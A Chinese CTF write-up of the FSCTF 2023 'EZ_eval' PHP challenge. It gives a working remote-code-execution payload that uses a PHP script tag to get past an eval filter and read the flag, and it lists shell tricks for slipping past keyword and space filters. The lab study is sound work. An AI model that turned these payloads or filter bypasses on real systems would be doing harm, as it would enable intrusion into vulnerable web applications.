NSS 1
[FSCTF 2023]EZ_eval
第一次遇到这个类型问题,记录一下
<?php
if(isset($_GET['word'])){
$word = $_GET['word'];
if (preg_match("/cat|tac|tail|more|head|nl|flag|less| /", $word)){
die("nonono.");
}
$word = str_replace("?", "", $word);
eval("?>". $word);
}else{
highlight_file(__FILE__);
}
过滤关键词可以使用转义字符绕过正则(或者是引号闭合绕过)即可,但是下面的使用了?>
进行了闭合,所以rce执行的语句并不在程序内,并且还对?
进行了过滤,所以就无法使用<?
为了实现php代码的执行,可以使用<script>
标签进行绕过<script language="php">system('ls'); </script>
所以这道题的payload是?word=<script%0alanguage='php'>system('ca\t${IFS}/fla\g');</script>
但是正则中对空格进行了过滤,需要进行绕过,这里有一个点我之前没有注意,对于空格绕过,我只是收集了空格的各种绕过方法${IFS}``%0a``$IFS``<>
等等,却没有注意何地适用(这里指的是放入HTML中执行的不应该使用${IFS}
等在shell中才能被正确解释的命令),这里做个笔记。$IFS
变量是shell中的变量,表示的是Linux下的分隔符号,在bash
的shell variables
可以查到man bash
,$IFS
的默认值为空白(空格、换行、制表格),多个连续的空白会被当成一个IFS
处理。
这里记录一下收集学习到的各种空格绕过的方法还有原理:
${IFS}
同理,花括号扩展
$IFS$9
第九个参数是一个空字符串,所以可以被bash解释为
cat flag.txt`
$IFS
可以用来表示空格
$IFS$1
{cat,flag.txt}
利用了花括号展开,花括号{}可以用来指定一个或多个可选的字符串,这些字符串以逗号分隔,可以利用花括号展开生成一系列字符串的组合,所以可以利用花括号展开生成一组类似的命令行参数,比如这条命令,会展开为cat flag.txt
两个参数,然后传递到命令执行。
要注意花括号展开是再shell中进行的。
<``cat<flag.txt
输出重定向,将文件flag.txt的内容作为cat的输入,cat
用于连接文件并输出他们的内容,<
可以将文件内容传给命令并且输出,有什么区别?cat flag.txt
会先打开flag.txt 内容并输出到终端,而cat < flag.txt
先将文件内容输入给cat
,cat
就不用再打开文件,可以直接输出到终端。
<>
用来打开文件,并将内容输出到标准,但只在bash中有效
%20
URL编码中表示空格的方式
%0a
url编码后的换行符,在shell和html中同样使用,换行并不会改变代码的完整性
%09
%09是url编码的制表符Tab,一个制表使用2个或4个空格进行缩进,在bash中连续的空格被视为一个空格,所以可以用来绕过空格
kg=$'\x20flag.txt'&&cat$kg
\x20是utf-8编码的空格,将变量赋值,再使用命令进行执行
个人理解,有不对请指出。
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· TypeScript + Deepseek 打造卜卦网站:技术与玄学的结合
· 阿里巴巴 QwQ-32B真的超越了 DeepSeek R-1吗?
· 【译】Visual Studio 中新的强大生产力特性
· 【设计模式】告别冗长if-else语句:使用策略模式优化代码结构
· 10年+ .NET Coder 心语 ── 封装的思维:从隐藏、稳定开始理解其本质意义